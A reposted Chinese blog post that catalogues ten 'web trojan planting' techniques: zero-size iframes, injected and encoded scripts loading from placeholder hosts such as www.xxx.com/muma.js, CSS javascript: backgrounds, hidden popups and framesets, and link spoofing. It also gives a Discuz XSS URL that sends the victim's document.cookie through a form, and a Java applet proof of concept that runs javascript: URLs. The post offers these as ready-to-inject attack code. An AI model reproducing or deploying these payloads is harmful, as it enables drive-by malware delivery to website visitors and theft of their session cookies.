您的位置:首页 > 移动开发

挂马大全

2012-06-17 14:16 127 查看
转载请注明出处:孤水绕城  
对于挂马大家肯定都不会陌生,关于如何跨站如何挂马的东东早已不再是什么高深的技术,即便是菜鸟一个也能玩的很熟练,不需要很高深的技术,对于挂马的技术现在公布的也无非也就那么几种。

一:框架挂马
<iframe src=地址 width=0 height=0></iframe>
二:js文件挂马 
首先将以下代码
document.write("<iframe width='0' height='0' src='地址'></iframe>");
保存为xxx.js,
则JS挂马代码为
<script language=javascript src=xxx.js></script>
三:js变形加密 
<SCRIPT language="JScript.Encode"             src=http://www.xxx.com/muma.txt></script>
muma.txt可改成任意后缀
四:body挂马
<body onload="window.location='地址';"></body>
五:隐蔽挂马
top.document.body.innerHTML = top.document.body.innerHTML +     '\r\n<iframe
src="http://www.xxx.com/muma.htm/"></iframe>';
六:css中挂马
body {
background-image: url('javascript:document.write("<script            
src=http://www.XXX.net/muma.js></script>")')}
七:JAJA挂马
<SCRIPT language=javascript>     
window.open ("地址","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro 
llbars=no,width=1,height=1"); 
</script>
八:图片伪装
<html>
<iframe src="网马地址" height=0 width=0></iframe>
<img src="图片地址"></center>
</html>
九:伪装调用:
<frameset rows="444,0" cols="*">
<frame src="打开网页" framborder="no" scrolling="auto" noresize    
marginwidth="0"margingheight="0">
<frame src="网马地址" frameborder="no" scrolling="no"      noresize    
marginwidth="0"margingheight="0">
</frameset>
十:高级欺骗
<a href="http://www.163.com(迷惑连接地址,显示这个地址指向木马地址)" onMouseOver="www_163_com
(); return true;"> 页面要显示的内容 </a>
<SCRIPT Language="JavaScript">
function www_163_com ()
{
var url="网马地址";
open
(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizabl
e=no,copyhistory=yes,width=800,height=600,left=10,top=10");
}
</SCRIPT>

http://discuz.net/pm.php?action=send&uid=1&message="></textarea>

<script>

document.input.subject.value=document.title;document.input.message.value=document.cookie;document.input.submit 

;</script>

这是某某挂马工具给出的挂马代码,是不是很熟悉,只要把这些语句注入到html或者js文件就ok了,可是这样挂马的方法都有一个弊病就是太容易被发现, 因为稍微懂点html的人都能很轻易的找到你木马的来源。对于一些杀毒软件或者google搜索引擎直接就给屏蔽了。

通过对jsp的学习,发现applet在挂马方面会有一个翻天覆地的改变,下面是我的分析代码:

import java.applet.Applet;
import java.net.MalformedURLException;
import java.net.URL;

public class hacker extends Applet implements Runnable{
private Thread thread = null;
private String url;
public void run()
{
try {

this.getAppletContext().showDocument(new URL("javascript:alert(\"gsrc\")"));

//转载请注明出处:孤水绕城 

} catch (MalformedURLException e) {
}
}
public void start()
{
try {

thread = new Thread(this);

//转载请注明出处:孤水绕城 
thread.run();
thread.sleep(1000);
} catch (Exception e) {
}
}
}
编译成class文件,然后新建一个html页,内容如下:

<applet code="Hacker.class" width="300" height="200">
不支持java虚拟机
</applet>

你就会看到很惊讶的一幕,每隔一秒就会弹出“gsrc”来。关于applet挂马的更深入的利用方法还会陆续放到博客上,希望大家多多关注。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息